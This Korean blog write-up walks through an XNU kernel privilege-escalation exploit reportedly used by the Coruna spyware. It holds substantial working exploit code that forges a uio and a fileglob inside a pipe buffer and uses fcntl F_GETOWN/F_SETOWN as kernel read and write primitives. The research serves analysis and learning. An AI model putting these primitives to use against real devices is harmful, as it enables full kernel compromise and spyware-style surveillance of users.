처음에 “fake lockf C”였던 주소 공간이었다가 할당해제되고,

재할당받아 real uio였던 공간이 되었으나, 다시 할당해제된다.

결과적으로, necp domain으로 재할당받아 제어된 fake uio로 이루어져있다. secondary pipe의 pipebuffer.buffer 주소와 함께 여러 uio 구조페 필드를 제어한 것을 볼 수 있다.

Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 2 1 1 1 1-fs8.png

마지막으로, primary_pipe_fds 읽기용 파일 디스크립터로부터 8바이트 읽은 다음, pthread_join으로 비동기로 실행 중인 함수가 마칠때까지 기다린다.

read_exact_fd(..., 8) 코드와 같이 파이프에서 8바이트 읽을 필요한 이유는 꽉 찬 파이프에 8바이트 공간을 만들고, 잠든 writer를 깨워 fake UIO를 실제로 실행시키는 트리거를 위해 필요하다.

해당 코드가 없으면, pthread_join(writer, NULL)에서 무한히 대기해버리는 상황이 발생한다.

    /* Open exactly eight bytes of space and wake pipe_write()/uiomove(). */
    if (read_exact_fd(
            primary_pipe_fds[0], &drained, sizeof(drained)) != 0) {
        return -1;
    }
#if ENABLE_HELPER
    printf("[%s:%d] read_exact_fd called ... \n", __FUNCTION__, __LINE__);
    // getchar();
#endif
    pthread_status = pthread_join(writer, NULL);
    if (pthread_status != 0) {
        errno = pthread_status;
        return -1;
    }
    if (context.result_errno != 0) {
        errno = context.result_errno;
        return -1;
    }

    return 0;
}

Drawing 2026-08-12 08.44.58.excalidraw 1-fs8.png

그럼 fake uio 생성이 필요했던 이유는 무엇이었을까?

원래라면 다음과 같은 구조였을 것이다.

fd table
  └─ control_fd
       └─ real fileproc
            └─ fp_glob
                 └─ real socket fileglob
                      ├─ fg_ops  → real socketops
                      └─ fg_data → real socket

그러나, write64_with_fake_uio 함수가 마치고 나면, 다음과 같다:

신기하게도, fp_glob은 이제 파이프 버퍼를 가리킨다.

fd table
  └─ control_fd
       └─ real fileproc
            └─ fp_glob ─────────► PB (secondary pipe_buffer.buffer)
                                    └─ fake fileglob

사실, read_exact_fd(..., 8) 코드와 같이 파이프에서 8바이트 읽어야했던 또다른 이유 중 하나인데, 바로 uiomove 호출이다.

prime_pipe_backing_kern_iovec 함수를 살펴봤을때, secondary pipe 버퍼에 fake kern_iovec 미리 심어두었던 과정을 기억하는가?

/* Leave one kernel-space iovec in the empty secondary pipe backing. */
int prime_pipe_backing_kern_iovec(
    const int pipe_fds[2],
    uint64_t target)
{
    uint64_t kern_iovec[2] = {
        target,
        XNU7195_POINTER_SIZE,
    };

    return write_exact_fd(pipe_fds[1], kern_iovec, sizeof(kern_iovec)) != 0 ||
        read_exact_fd(pipe_fds[0], kern_iovec, sizeof(kern_iovec)) != 0
        ? -1 : 0;
}

...

    // 9. PB에 fake kern_iovec 미리 심기
    if (prime_pipe_backing_kern_iovec(
            pipe_fd_2,
            control_fileproc_kptr + XNU7195_FILEPROC_GLOB_OFFSET) != 0) {
        printf("[-] failed to prime PB kern_iovec: %s(%d)\n",
            strerror(errno), errno);
        return -1;
    }
...

해당 fake kern_iovec은 fp_glob이 파이프 버퍼를 가리키는데 꼭 필요한 과정이었다.

다음은 uiomove64 에서 copywithin 에 의해 fp_glob이 secondary pipe’s pipe_buffer.buffer로 덮어써지는 설명 및 경로 그림이다. fake uio가 필요했던 이유는 그림상 5번 케이스에 진입하기 위한 것이기 때문에, 덕분에 설명이 된다.

Drawing 2026-08-12 10.39.14.excalidraw-fs8.png

13. fcntl(…, F_GETOWN), fcntl(…, F_SETOWN)으로 stable kernel r/w 테스트

코드를 하나씩 살펴보자.

secondary pipe의 pipe_buffer.buffer 커널 주소 + 0x200으로부터 값이 읽히는지 테스트한다.

int stage_pipe_backing_fileglob(
    const int pipe_fds[2],
    uint64_t pipe_backing,
    uint64_t target,
    bool active_socket)
{
    uint64_t payload[PB_FAKE_FILEGLOB_SIZE / sizeof(uint64_t)] = {0};
    uint8_t observed[PB_FAKE_FILEGLOB_SIZE];

    if (active_socket && target < XNU7195_SOCKET_PGID_OFFSET) {
        errno = EINVAL;
        return -1;
    }

    payload[2] = 0x0000006300000003ULL; /* fg_flag=3, fg_count=0x63 */
    payload[5] = pipe_backing + 0x60;   /* fileglob::fg_ops */
    payload[7] = active_socket ? target - XNU7195_SOCKET_PGID_OFFSET : 0;
    ((uint8_t *)payload)[0x53] = 0x22; /* lck_mtx type */
    payload[12] = active_socket ? 2 : 3; /* DTYPE_SOCKET or parking type */

    if (write_exact_fd(pipe_fds[1], payload, sizeof(payload)) != 0 ||
        read_exact_fd(pipe_fds[0], observed, sizeof(observed)) != 0) {
        return -1;
    }
    if (memcmp(payload, observed, sizeof(payload)) != 0) {
        errno = EIO;
        return -1;
    }
    return 0;
}

int kernel_read32_via_fgetown(
    const int pipe_fds[2],
    uint64_t pipe_backing,
    int control_fd,
    uint64_t target,
    uint32_t *value_out)
{
    int value;
    int operation_errno;
    bool operation_failed;

    if (value_out == NULL ||
        stage_pipe_backing_fileglob(
            pipe_fds, pipe_backing, target, true) != 0) {
        return -1;
    }
#if ENABLE_HELPER
    printf("[%s:%d] stage_pipe_backing_fileglob 1/2 called \n", __FUNCTION__, __LINE__);
    getchar();
#endif 

    errno = 0;
    value = fcntl(control_fd, F_GETOWN);
    operation_errno = errno;
    operation_failed = value == -1 && operation_errno != 0;

    if (stage_pipe_backing_fileglob(
            pipe_fds, pipe_backing, 0, false) != 0) {
        return -1;
    }
#if ENABLE_HELPER
    printf("[%s:%d] stage_pipe_backing_fileglob 2/2 called \n", __FUNCTION__, __LINE__);
    getchar();
#endif 

    if (operation_failed) {
        errno = operation_errno;
        return -1;
    }

    *value_out = (uint32_t)value;
    return 0;
}

...
    uint64_t test_address = secondary_pipe_backing_kptr + 0x200;
    uint32_t original = 0;
    uint32_t marker = 0;
    uint32_t observed = 0;
    int verify_error = 0;

    if (kernel_read32_via_fgetown(
            pipe_fd_2, secondary_pipe_backing_kptr, socket_fd[2],
            test_address, &original) != 0) {
        printf("[-] kread32 failed: %s(%d)\n", strerror(errno), errno);
        return -1;
    }

fake fileglob은 secondary pipe 버퍼를 통해 자유롭게 제어할 수 있기 때문에,

fg_data인 +0x38 오프셋만 적절히 잘 컨트롤한다면(socket->so_pgid 오프셋은 0x60으로, 해당 값을 뺄 필요가 있음), 읽힌 커널 주소를 지정할 수 있다.

Drawing 2026-08-12 09.36.22.excalidraw-fs8.png

커널 쓰기 테스트는 내부적으로 fcntl(…, F_SETOWN)으로 수행된다.

int kernel_write32_via_fsetown(
    const int pipe_fds[2],
    uint64_t pipe_backing,
    int control_fd,
    uint64_t target,
    uint32_t value)
{
    int operation_status;
    int operation_errno;

    if (stage_pipe_backing_fileglob(
            pipe_fds, pipe_backing, target, true) != 0) {
        return -1;
    }

    operation_status = fcntl(control_fd, F_SETOWN, (int)value);
    operation_errno = errno;

    if (stage_pipe_backing_fileglob(
            pipe_fds, pipe_backing, 0, false) != 0) {
        return -1;
    }
    if (operation_status != 0) {
        errno = operation_errno;
        return -1;
    }

    return 0;
}

...

    marker = 0x13371337;
    if (kernel_write32_via_fsetown(
            pipe_fd_2, secondary_pipe_backing_kptr, socket_fd[2],
            test_address, marker) != 0) {
        printf("[-] kwrite32 failed: %s(%d)\n", strerror(errno), errno);
        return -1;
    }
    
...

커널 읽기에서 내부적으로 이루어지는 커널 호출이 거의 비슷하며, fcntl(…, F_SETOWN) 에 대한 자세한 설명은 아래 그림으로 생략하겠다.

Drawing 2026-08-12 09.36.22.excalidraw 1-fs8.png

14. 정리

ofd_set_lock 에서 모든 락을 해제하며, 할당되었던 소켓과 파이프 디스크립터를 close, mach port들도 할당해제시킨다.


    // 13. 성공 직후 cleanup
    if (ofd_set_lock(
            urandom_fd, F_UNLCK, 0, (off_t)INT64_MAX) != 0) {
        printf("[-] final OFD unlock failed: %s(%d)\n",
            strerror(errno), errno);
        return -1;
    }
    close(urandom_fd);

    close(socket_fd[0]);
    close(socket_fd[1]);

    close(pipe_fd[0]);
    close(pipe_fd[1]);

    /* control->fp_glob points into PB, so drop control before PB's pipes. */
    close(socket_fd[2]);
    close(pipe_fd_2[1]);
    close(pipe_fd_2[0]);

    if (MACH_PORT_VALID(fileport_name)) {
        mach_port_deallocate(mach_task_self(), fileport_name);
    }
    if (MACH_PORT_VALID(fileport_readpipe)) {
        mach_port_deallocate(mach_task_self(), fileport_readpipe);
    }
    if (MACH_PORT_VALID(reply_port)) {
        mach_port_mod_refs(
            mach_task_self(), reply_port, MACH_PORT_RIGHT_RECEIVE, -1);
    }
    if (buf64k != NULL) {
        vm_deallocate(
            mach_task_self(), (vm_address_t)buf64k, 0x10000);
    }
    free(fl);
    destroy_minimal_thread_message_channel(&thread_channel);
    if (MACH_PORT_VALID(host_port)) {
        mach_port_deallocate(mach_task_self(), host_port);
    }

    printf("[+] cleanup complete\n");

#if ENABLE_HELPER
    if(tfp0) {
	    term_kexecute();
	    mach_port_deallocate(mach_task_self(), tfp0);
    }
#endif

    return 0;
}

살아있던 lockf 데이터들은 할당해제되면서 모두 0으로 채워진다…

Drawing 2026-08-12 11.40.35.excalidraw-fs8.png

추후 계획

지금까지 Coruna 스파이웨어에서 사용되었던 pendulum PE 취약점에 대해 알아보았다.

ChatGPT/AI를 활용하면서 이해 못하는 부분은 xnu 소스코드를 여러번 읽고 커널 덤프를 진행하면서 살펴봤는데, 쉽지 않았다. 익스플로잇 코드는 AI에 의해 생성된 코드가 일부 존재하며, 지역변수나 함수 이름이 적절치 못하거나 모호한 부분이 꽤 있었던 거 같은데… 익스플로잇을 이해했으니 시간되면 새롭게 다시 짜보려고 한다.